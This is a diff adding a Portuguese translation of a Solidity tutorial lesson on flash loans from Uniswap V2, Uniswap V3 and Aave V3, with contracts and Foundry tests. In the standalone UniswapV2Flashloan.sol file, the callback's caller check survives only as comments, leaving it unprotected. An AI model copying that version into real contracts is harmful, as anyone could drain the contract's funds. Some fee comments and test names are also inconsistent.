+**Nota:** Certifique-se de controlar adequadamente as permissões da função de retorno para garantir que apenas o contrato do par Uniswap possa chamar, caso contrário, os fundos do contrato podem ser roubados por um hacker. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// Interface de retorno para o empréstimo-relâmpago UniswapV2 +interface IUniswapV2Callee { + function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; +} + +// Contrato de empréstimo-relâmpago UniswapV2 +contract UniswapV2Flashloan is IUniswapV2Callee { + address private constant UNISWAP_V2_FACTORY = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + IUniswapV2Factory private constant factory = IUniswapV2Factory(UNISWAP_V2_FACTORY); + + IERC20 private constant weth = IERC20(WETH); + + IUniswapV2Pair private immutable pair; + + constructor() { + pair = IUniswapV2Pair(factory.getPair(DAI, WETH)); + } + + // Função de empréstimo-relâmpago + function flashloan(uint wethAmount) external { + // Os dados são codificados para serem passados à função de retorno + bytes memory data = abi.encode(WETH, wethAmount); + + // amount0Out é a quantia de DAI a ser pedida, amount1Out é a quantidade de WETH a ser pedida + pair.swap(0, wethAmount, address(this), data); + } + + // Função de retorno para empréstimo-relâmpago, pode ser chamada apenas pelo contrato de par do DAI/WETH + function uniswapV2Call( + address sender, + uint amount0, + uint amount1, + bytes calldata data + ) external { + // Confirma que a chamada veio do par DAI/WETH + address token0 = IUniswapV2Pair(msg.sender).token0(); // Obtém o endereço do token0 + address token1 = IUniswapV2Pair(msg.sender).token1(); // Obtém o endereço do token1 + assert(msg.sender == factory.getPair(token0, token1)); // Garante que o msg.sender seja um par V2 válido + + // Decodifica os dados + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // Lógica do empréstimo, omitida neste exemplo + require(tokenBorrow == WETH, "token borrow != WETH"); + + // Calcula a taxa do empréstimo + // fee / (amount + fee) = 3/1000 + // Arredondando para cima + uint fee = (amount1 * 3) / 997 + 1; + uint amountToRepay = amount1 + fee; + + // Devolve o empréstimo-relâmpago + weth.transfer(address(pair), amountToRepay); + } +} +``` + +Contrato de teste do Foundry `UniswapV2Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/UniswapV2Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV2Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV2Flashloan(); + } + + function testFlashloan() public { + // Depositar WETH no contrato e fornecer como taxa + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // Montante do empréstimo-relâmpago + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // Se a taxa não for suficiente, o teste falhará + function testFlashloanFail() public { + // Depositar WETH no contrato e fornecer como taxa + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 3e17); + // Montante do empréstimo-relâmpago + uint amountToBorrow = 100 * 1e18; + // Taxa insuficiente + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +No contrato de teste, testamos cenários em que a taxa é suficiente e insuficiente. Você pode executar os testes com o Foundry utilizando o seguinte comando (pode trocar o RPC por outro fornecido pela Ethereum): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/UniswapV2Flashloan.t.sol -vv +``` + +### 2. Empréstimo-Relâmpago Uniswap V3 + +Ao contrário do Uniswap V2, o Uniswap V3 possui as funções `flash()` no contrato de [Pool](https://github.com/Uniswap/v3-core/blob/main/contracts/UniswapV3Pool.sol#L791C1-L835C1), que oferecem suporte direto a empréstimos-relâmpago. O trecho relevante do código é o seguinte: + +```solidity +function flash( + address recipient, + uint256 amount0, + uint256 amount1, + bytes calldata data +) external override lock noDelegateCall { + // Outras lógicas... + + // Transferência otimista dos tokens para o endereço 'to' + if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0); + if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1); + + // Chamada da função de retorno 'uniswapV3FlashCallback' + IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback(fee0, fee1, data); + + // Verificação se o empréstimo-relâmpago foi devolvido com sucesso + uint256 balance0After = balance0(); + uint256 balance1After = balance1(); + require(balance0Before.add(fee0) <= balance0After, 'F0'); + require(balance1Before.add(fee1) <= balance1After, 'F1'); + + // Outras lógicas... +} +``` + +Em seguida, completamos o contrato de empréstimo relâmpago `UniswapV3Flashloan.sol`. Fazemos com que ele herde `IUniswapV3FlashCallback` e escrevemos a lógica principal do empréstimo relâmpago na função de retorno de chamada `uniswapV3FlashCallback`. + +A lógica geral é semelhante à da V2. Na função de empréstimo relâmpago `flashloan()`, pegamos emprestado `WETH` do pool `WETH-DAI` do Uniswap V3. Após o empréstimo relâmpago ser acionado, a função de retorno de chamada `uniswapV3FlashCallback` será chamada pelo contrato Pool. Não realizamos arbitragem e apenas devolvemos o empréstimo relâmpago após calcular os juros. A taxa de manuseio para cada empréstimo relâmpago no Uniswap V3 é consistente com a taxa de transação. + +**Nota**: A função de retorno de chamada deve ter controle de permissão para garantir que apenas o contrato Pair da Uniswap possa ser chamado. Caso contrário, todos os fundos no contrato serão roubados por hackers. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// Interface de retorno de chamada do empréstimo relâmpago do UniswapV3 +// Precisa ser implementado e reescrever a função uniswapV3FlashCallback() +interface IUniswapV3FlashCallback { + /// Na implementação, você deve reembolsar o pool pelos tokens enviados pelo flash e o valor da taxa calculada. + /// O contrato que chama este método deve ser verificado pelo UniswapV3Pool implantado pela UniswapV3Factory oficial. + /// @param fee0 O valor da taxa do token0 que deve ser pago ao pool quando o empréstimo relâmpago terminar + /// @param fee1 O valor da taxa do token1 que deve ser pago ao pool quando o empréstimo relâmpago terminar + /// @param data Quaisquer dados passados pelo chamador são chamados via IUniswapV3PoolActions#flash + function uniswapV3FlashCallback( + uint256 fee0, + uint256 fee1, + bytes calldata data + ) external; +} + +// Contrato de empréstimo relâmpago do UniswapV3 +contract UniswapV3Flashloan is IUniswapV3FlashCallback { + address private constant UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + uint24 private constant poolFee = 3000; + + IERC20 private constant weth = IERC20(WETH); + IUniswapV3Pool private immutable pool; + + constructor() { + pool = IUniswapV3Pool(getPool(DAI, WETH, poolFee)); + } + + function getPool( + address _token0, + address _token1, + uint24 _fee + ) public pure returns (address) { + PoolAddress.PoolKey memory poolKey = PoolAddress.getPoolKey( + _token0, + _token1, + _fee + ); + return PoolAddress.computeAddress(UNISWAP_V3_FACTORY, poolKey); + } + +// Função de empréstimo relâmpago + function flashloan(uint wethAmount) external { + bytes memory data = abi.encode(WETH, wethAmount); + IUniswapV3Pool(pool).flash(address(this), 0, wethAmount, data); + } + + // A função de retorno de chamada do empréstimo relâmpago só pode ser chamada pelo contrato DAI/WETH + function uniswapV3FlashCallback( + uint fee0, + uint fee1, + bytes calldata data + ) external { + // Confirmar que a chamada é do contrato DAI/WETH + require(msg.sender == address(pool), "not authorized"); + + //Decodificar calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // lógica do empréstimo relâmpago, omitida aqui + require(tokenBorrow == WETH, "token borrow != WETH"); + + //Reembolsar o empréstimo relâmpago + weth.transfer(address(pool), wethAmount + fee1); + } +} +``` + +Contrato de teste do Foundry `UniswapV3Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import {Test, console2} from "forge-std/Test.sol"; +import "../src/UniswapV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV3Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV3Flashloan(); + } + +function testFlashloan() public { + //Trocar weth e transferir para o contrato flashloan para usá-lo como taxa de manuseio + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + + uint balBefore = weth.balanceOf(address(flashloan)); + console2.logUint(balBefore); + // Valor do empréstimo relâmpago + uint amountToBorrow = 1 * 1e18; + flashloan.flashloan(amountToBorrow); + } + +// Se a taxa de manuseio for insuficiente, ela será revertida. + function testFlashloanFail() public { + //Trocar weth e transferir para o contrato flashloan para usá-lo como taxa de manuseio + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e17); + // Valor do empréstimo relâmpago + uint amountToBorrow = 100 * 1e18; + // Taxa de manuseio insuficiente + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +No contrato de teste, testamos os casos de taxas de manuseio suficientes e insuficientes, respectivamente. Você pode usar a linha de comando a seguir para testar depois de instalar o Foundry (você pode alterar o RPC para outro RPC Ethereum): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/UniswapV3Flashloan.t.sol -vv +``` + +### 3. Empréstimo Relâmpago AAVE V3 + +AAVE é uma plataforma de empréstimo descentralizada. Seu contrato [Pool](https://github.com/aave/aave-v3-core/blob/master/contracts/protocol/pool/Pool.sol#L424) passa as funções `flashLoan()` e `flashLoanSimple()` que suportam empréstimos relâmpago de um único ativo e de vários ativos. Aqui, usamos apenas `flashLoan()` para implementar o empréstimo relâmpago de um único ativo (`WETH`). + +Em seguida, completamos o contrato de empréstimo relâmpago `AaveV3Flashloan.sol`. Fazemos com que ele herde `IFlashLoanSimpleReceiver` e escrevemos a lógica principal do empréstimo relâmpago na função de retorno de chamada `executeOperation`. + +A lógica geral é semelhante à da V2. Na função de empréstimo relâmpago `flashloan()`, pegamos emprestado `WETH` do pool `WETH` do AAVE V3. Após o empréstimo relâmpago ser acionado, a função de retorno de chamada `executeOperation` será chamada pelo contrato Pool. Não realizamos arbitragem e apenas devolvemos o empréstimo relâmpago após calcular os juros. A taxa de empréstimo relâmpago do AAVE V3 é de `0,05%` por transação, o que é menor do que a do Uniswap. + +**Nota**: A função de retorno de chamada deve ter controle de permissão para garantir que apenas o contrato Pool da AAVE possa ser chamado e o iniciador seja este contrato, caso contrário, os fundos no contrato serão roubados por hackers. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +interface IFlashLoanSimpleReceiver { + /** + * @notice executa operações após receber ativos de empréstimo relâmpago + * @dev garante que o contrato possa pagar a dívida + taxas adicionais, por exemplo, com + * Fundos suficientes para pagar e o Pool foi aprovado para sacar o valor total + * @param asset O endereço do ativo de empréstimo relâmpago + * @param amount A quantidade de ativos de empréstimo relâmpago + * @param premium A taxa para empréstimo relâmpago de ativos + * @param initiator O endereço onde os empréstimos relâmpago são iniciados + * @param params codificação de bytes dos parâmetros passados durante a inicialização do empréstimo relâmpago + * @return Verdadeiro se a operação for executada com sucesso, Falso caso contrário + */ + function executeOperation( + address asset, + uint256 amount, + uint256 premium, + address initiator, + bytes calldata params + ) external returns (bool); +} + +// Contrato de empréstimo relâmpago AAVE V3 +contract AaveV3Flashloan { + address private constant AAVE_V3_POOL = + 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2; + + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + ILendingPool public aave; + + constructor() { + aave = ILendingPool(AAVE_V3_POOL); + } + +// Função de empréstimo relâmpago + function flashloan(uint256 wethAmount) external { + aave.flashLoanSimple(address(this), WETH, wethAmount, "", 0); + } + + // A função de retorno de chamada do empréstimo relâmpago só pode ser chamada pelo contrato pool + function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata) + external + returns (bool) + { +// Confirmar que a chamada é do contrato DAI/WETH + require(msg.sender == AAVE_V3_POOL, "not authorized"); + // Confirmar que o iniciador do empréstimo relâmpago é este contrato + require(initiator == address(this), "invalid initiator"); + + // lógica do empréstimo relâmpago, omitida aqui + + // Calcular as taxas do empréstimo relâmpago + // taxa = 5/1000 * quantidade + uint fee = (amount * 5) / 10000 + 1; + uint amountToRepay = amount + fee; + + //Reembolsar o empréstimo relâmpago + IERC20(WETH).approve(AAVE_V3_POOL, amountToRepay); + + return true; + } +} +``` + +Contrato de teste do Foundry `AaveV3Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/AaveV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + AaveV3Flashloan private flashloan; + + function setUp() public { + flashloan = new AaveV3Flashloan(); + } + +function testFlashloan() public { + //Trocar weth e transferir para o contrato flashloan para usá-lo como taxa de manuseio + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // Valor do empréstimo relâmpago + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // Se a taxa de manuseio for insuficiente, ela será revertida. + function testFlashloanFail() public { + //Trocar weth e transferir para o contrato flashloan para usá-lo como taxa de manuseio + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 4e16); + // Valor do empréstimo relâmpago + uint amountToBorrow = 100 * 1e18; + // Taxa de manuseio insuficiente + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +No contrato de teste, testamos os casos de taxas de manuseio suficientes e insuficientes, respectivamente. Você pode usar a linha de comando a seguir para testar depois de instalar o Foundry (você pode alterar o RPC para outro RPC Ethereum): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/AaveV3Flashloan.t.sol -vv +``` + +## Resumo + +Nesta aula, apresentamos empréstimos relâmpago, que permitem que os usuários emprestem e retornem rapidamente fundos em uma única transação sem fornecer qualquer garantia. Além disso, implementamos os contratos de empréstimo relâmpago da Uniswap V2, Uniswap V3 e AAVE, respectivamente. + +Através dos empréstimos relâmpago, podemos alavancar grandes quantidades de fundos sem garantia para arbitragem sem risco ou ataques de vulnerabilidade. O que você vai fazer com os empréstimos relâmpago? + diff --git a/Languages/pt-br/57_Flashloan/src/AaveV3Flashloan.sol b/Languages/pt-br/57_Flashloan/src/AaveV3Flashloan.sol new file mode 100644 index 000000000..518867ccb --- /dev/null +++ b/Languages/pt-br/57_Flashloan/src/AaveV3Flashloan.sol @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +interface IFlashLoanSimpleReceiver { + /** + * @notice Executa ações após receber ativos de empréstimo relâmpago + * @dev Garante que o contrato possa pagar a dívida + taxas extras, por exemplo, + * ter fundos suficientes para pagar e ter aprovado o Pool para sacar o valor total + * @param asset O endereço do ativo de empréstimo relâmpago + * @param amount A quantidade de ativos de empréstimo relâmpago + * @param premium A taxa dos ativos de empréstimo relâmpago + * @param initiator O endereço que iniciou o empréstimo relâmpago + * @param params Os parâmetros codificados em bytes passados durante a inicialização do empréstimo relâmpago + * @return Retorna True se a operação for executada com sucesso, caso contrário, retorna False + */ + function executeOperation( + address asset, + uint256 amount, + uint256 premium, + address initiator, + bytes calldata params + ) external returns (bool); +} + +// Contrato de Empréstimo Relâmpago AAVE V3 +contract AaveV3Flashloan { + address private constant AAVE_V3_POOL = + 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2; + + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + ILendingPool public aave; + + constructor() { + aave = ILendingPool(AAVE_V3_POOL); + } + + // Função de Empréstimo Relâmpago + function flashloan(uint256 wethAmount) external { + aave.flashLoanSimple(address(this), WETH, wethAmount, "", 0); + } + + // Função de retorno do empréstimo relâmpago, só pode ser chamada pelo contrato de pool + function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata) + external + returns (bool) + { + // Confirm that the called contract is the DAI/WETH pair contract + require(msg.sender == AAVE_V3_POOL, "not authorized"); + // Confirmar que o iniciador do empréstimo relâmpago é este contrato + require(initiator == address(this), "invalid initiator"); + + // lógica de flashloan, omitida aqui + + // Calcular o custo do flashloan + // taxa = 5/1000 * valor + uint fee = (amount * 5) / 10000 + 1; + uint amountToRepay = amount + fee; + + // Devolver empréstimo relâmpago + IERC20(WETH).approve(AAVE_V3_POOL, amountToRepay); + + return true; + } +} \ No newline at end of file diff --git a/Languages/pt-br/57_Flashloan/src/Lib.sol b/Languages/pt-br/57_Flashloan/src/Lib.sol new file mode 100644 index 000000000..e72a968f3 --- /dev/null +++ b/Languages/pt-br/57_Flashloan/src/Lib.sol @@ -0,0 +1,109 @@ +pragma solidity >=0.5.0; + +interface IERC20 { + event Approval(address indexed owner, address indexed spender, uint value); + event Transfer(address indexed from, address indexed to, uint value); + + function name() external view returns (string memory); + function symbol() external view returns (string memory); + function decimals() external view returns (uint8); + function totalSupply() external view returns (uint); + function balanceOf(address owner) external view returns (uint); + function allowance(address owner, address spender) external view returns (uint); + + function approve(address spender, uint value) external returns (bool); + function transfer(address to, uint value) external returns (bool); + function transferFrom(address from, address to, uint value) external returns (bool); +} + +interface IUniswapV2Pair { + function swap( + uint amount0Out, + uint amount1Out, + address to, + bytes calldata data + ) external; + + function token0() external view returns (address); + function token1() external view returns (address); +} + +interface IUniswapV2Factory { + function getPair( + address tokenA, + address tokenB + ) external view returns (address pair); +} + +interface IWETH is IERC20 { + function deposit() external payable; + + function withdraw(uint amount) external; +} + + + +library PoolAddress { + bytes32 internal constant POOL_INIT_CODE_HASH = + 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; + + struct PoolKey { + address token0; + address token1; + uint24 fee; + } + + function getPoolKey( + address tokenA, + address tokenB, + uint24 fee + ) internal pure returns (PoolKey memory) { + if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); + return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); + } + + function computeAddress( + address factory, + PoolKey memory key + ) internal pure returns (address pool) { + require(key.token0 < key.token1); + pool = address( + uint160( + uint( + keccak256( + abi.encodePacked( + hex"ff", + factory, + keccak256(abi.encode(key.token0, key.token1, key.fee)), + POOL_INIT_CODE_HASH + ) + ) + ) + ) + ); + } +} + +interface IUniswapV3Pool { + function flash( + address recipient, + uint amount0, + uint amount1, + bytes calldata data + ) external; +} + +// Interface do Pool AAVE V3 +interface ILendingPool { + // empréstimo instantâneo de um único ativo + function flashLoanSimple( + address receiverAddress, + address asset, + uint256 amount, + bytes calldata params, + uint16 referralCode + ) external; + + // obter a taxa no flashloan, padrão em 0,05% + function FLASHLOAN_PREMIUM_TOTAL() external view returns (uint128); +} \ No newline at end of file diff --git a/Languages/pt-br/57_Flashloan/src/UniswapV2Flashloan.sol b/Languages/pt-br/57_Flashloan/src/UniswapV2Flashloan.sol new file mode 100644 index 000000000..d2dd08389 --- /dev/null +++ b/Languages/pt-br/57_Flashloan/src/UniswapV2Flashloan.sol @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// Interface de retorno de chamada do empréstimo relâmpago UniswapV2 +interface IUniswapV2Callee { + function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; +} + +// Contrato de empréstimo relâmpago UniswapV2 +contract UniswapV2Flashloan is IUniswapV2Callee { + address private constant UNISWAP_V2_FACTORY = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + IUniswapV2Factory private constant factory = IUniswapV2Factory(UNISWAP_V2_FACTORY); + + IERC20 private constant weth = IERC20(WETH); + + IUniswapV2Pair private immutable pair; + + constructor() { + pair = IUniswapV2Pair(factory.getPair(DAI, WETH)); + } + + // Função de Empréstimo Relâmpago + function flashloan(uint wethAmount) external { + // O comprimento do calldata deve ser maior que 1 para acionar a função de callback do empréstimo relâmpago. + bytes memory data = abi.encode(WETH, wethAmount); + + // amount0Out é o valor de DAI a ser emprestado, amount1Out é o valor de WETH a ser emprestado + pair.swap(0, wethAmount, address(this), data); + } + + // Função de retorno do empréstimo relâmpago, só pode ser chamada pelo contrato DAI/WETH pair + function uniswapV2Call( + address sender, + uint amount0, + uint amount1, + bytes calldata data + ) external { + // Confirm that the called contract is the DAI/WETH pair contract + // Obter o endereço do token0 + // Obter endereço do token1 + // garantir que msg.sender é um par V2 + + // Decodificando calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // lógica de flashloan, omitida aqui + require(tokenBorrow == WETH, "token borrow != WETH"); + + // Calcular o custo do flashloan + // taxa / (valor + taxa) = 3/1000 + // Arredondar para cima + uint fee = (amount1 * 3) / 997 + 1; + uint amountToRepay = amount1 + fee; + + // Devolver empréstimo relâmpago + weth.transfer(address(pair), amountToRepay); + } +} diff --git a/Languages/pt-br/57_Flashloan/src/UniswapV3Flashloan.sol b/Languages/pt-br/57_Flashloan/src/UniswapV3Flashloan.sol new file mode 100644 index 000000000..43e17c0fd --- /dev/null +++ b/Languages/pt-br/57_Flashloan/src/UniswapV3Flashloan.sol @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// Interface de retorno de chamada do empréstimo relâmpago UniswapV3 +// Precisa implementar e sobrescrever a função uniswapV3FlashCallback() +interface IUniswapV3FlashCallback { + /// No processo de implementação, você deve reembolsar os tokens enviados pelo flash e o valor calculado das taxas na piscina. + /// O contrato que chama este método deve ser verificado pelo UniswapV3Pool implantado pela UniswapV3Factory oficial. + /// @param fee0 Valor da taxa a ser paga em token0 para o pool quando o empréstimo relâmpago for encerrado + /// @param fee1 Valor da taxa a ser paga em token1 para o pool quando o empréstimo relâmpago for encerrado + /// @param data Dados passados pelo chamador através da chamada flash de IUniswapV3PoolActions. + function uniswapV3FlashCallback( + uint256 fee0, + uint256 fee1, + bytes calldata data + ) external; +} + +// Contrato de empréstimo relâmpago UniswapV3 +contract UniswapV3Flashloan is IUniswapV3FlashCallback { + address private constant UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + uint24 private constant poolFee = 3000; + + IERC20 private constant weth = IERC20(WETH); + IUniswapV3Pool private immutable pool; + + constructor() { + pool = IUniswapV3Pool(getPool(DAI, WETH, poolFee)); + } + + function getPool( + address _token0, + address _token1, + uint24 _fee + ) public pure returns (address) { + PoolAddress.PoolKey memory poolKey = PoolAddress.getPoolKey( + _token0, + _token1, + _fee + ); + return PoolAddress.computeAddress(UNISWAP_V3_FACTORY, poolKey); + } + + // Função de Empréstimo Relâmpago + function flashloan(uint wethAmount) external { + bytes memory data = abi.encode(WETH, wethAmount); + IUniswapV3Pool(pool).flash(address(this), 0, wethAmount, data); + } + + // Função de retorno do empréstimo relâmpago, só pode ser chamada pelo contrato DAI/WETH pair + function uniswapV3FlashCallback( + uint fee0, + uint fee1, + bytes calldata data + ) external { + // Confirm that the called contract is the DAI/WETH pair contract + require(msg.sender == address(pool), "not authorized"); + + // Decodificando calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // lógica de flashloan, omitida aqui + require(tokenBorrow == WETH, "token borrow != WETH"); + + // Devolver empréstimo relâmpago + weth.transfer(address(pool), wethAmount + fee1); + } +} \ No newline at end of file diff --git a/Languages/pt-br/57_Flashloan/test/AaveV3Flashloan.t.sol b/Languages/pt-br/57_Flashloan/test/AaveV3Flashloan.t.sol new file mode 100644 index 000000000..338b1afbc --- /dev/null +++ b/Languages/pt-br/57_Flashloan/test/AaveV3Flashloan.t.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/AaveV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + AaveV3Flashloan private flashloan; + + function setUp() public { + flashloan = new AaveV3Flashloan(); + } + + function testFlashloan() public { + // Trocar weth e transferir para o contrato flashloan como taxa de transação + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // Empréstimo de valor do empréstimo relâmpago + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // Taxa insuficiente, será revertido + function testFlashloanFail() public { + // Trocar weth e transferir para o contrato flashloan como taxa de transação + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 4e16); + // Empréstimo de valor do empréstimo relâmpago + uint amountToBorrow = 100 * 1e18; + // Taxa insuficiente + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} diff --git a/Languages/pt-br/57_Flashloan/test/UniswapV2Flashloan.t.sol b/Languages/pt-br/57_Flashloan/test/UniswapV2Flashloan.t.sol new file mode 100644 index 000000000..25e169a4d --- /dev/null +++ b/Languages/pt-br/57_Flashloan/test/UniswapV2Flashloan.t.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/UniswapV2Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV2Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV2Flashloan(); + } + + function testFlashloan() public { + // Trocar weth e transferir para o contrato flashloan como taxa de transação + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // Empréstimo de valor do empréstimo relâmpago + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // Taxa insuficiente, será revertido + function testFlashloanFail() public { + // Troque o WETH e transfira para o contrato de flashloan para ser usado como taxa de transação. + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 3e17); + // Empréstimo de valor do empréstimo relâmpago + uint amountToBorrow = 100 * 1e18; + // Taxa insuficiente + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} diff --git a/Languages/pt-br/57_Flashloan/test/UniswapV3Flashloan.t.sol b/Languages/pt-br/57_Flashloan/test/UniswapV3Flashloan.t.sol new file mode 100644 index 000000000..1748b21df --- /dev/null +++ b/Languages/pt-br/57_Flashloan/test/UniswapV3Flashloan.t.sol @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import {Test, console2} from "forge-std/Test.sol"; +import "../src/UniswapV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV3Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV3Flashloan(); + } + + function testFlashloan() public { + // Trocar weth e transferir para o contrato flashloan como taxa de transação + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + + uint balBefore = weth.balanceOf(address(flashloan)); + console2.logUint(balBefore); + // Empréstimo de valor do empréstimo relâmpago + uint amountToBorrow = 1 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // Taxa insuficiente, será revertido + function testFlashloanFail() public { + // Trocar weth e transferir para o contrato flashloan como taxa de transação + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e17); + // Empréstimo de valor do empréstimo relâmpago + uint amountToBorrow = 100 * 1e18; + // Taxa insuficiente + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} diff --git a/Languages/pt-br/LICENSE b/Languages/pt-br/LICENSE new file mode 100644 index 000000000..c677754ad --- /dev/null +++ b/Languages/pt-br/LICENSE @@ -0,0 +1,474 @@ +# Licenses for WTF Solidity content + +WTF Solidity's content (including prose and code examples) is entirely available +under various open source licenses. This file covers the types of +content we provide and what licenses are in effect for each. + +## License for all prose content + +All prose content is available under +([CC-BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/)). + +### Text of CC-BY-NC-SA-4.0 license + +``` +Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International (CC BY-NC-SA 4.0) + +Creative Commons Corporation ("Creative Commons") is not a law firm and +does not provide legal services or legal advice. Distribution of +Creative Commons public licenses does not create a lawyer-client or +other relationship. Creative Commons makes its licenses and related +information available on an "as-is" basis. Creative Commons gives no +warranties regarding its licenses, any material licensed under their +terms and conditions, or any related information. Creative Commons +disclaims all liability for damages resulting from their use to the +fullest extent possible. + +Using Creative Commons Public Licenses + +Creative Commons public licenses provide a standard set of terms and +conditions that creators and other rights holders may use to share +original works of authorship and other material subject to copyright +and certain other rights specified in the public license below. The +following considerations are for informational purposes only, are not +exhaustive, and do not form part of our licenses. + + Considerations for licensors: Our public licenses are + intended for use by those authorized to give the public + permission to use material in ways otherwise restricted by + copyright and certain other rights. Our licenses are + irrevocable. Licensors should read and understand the terms + and conditions of 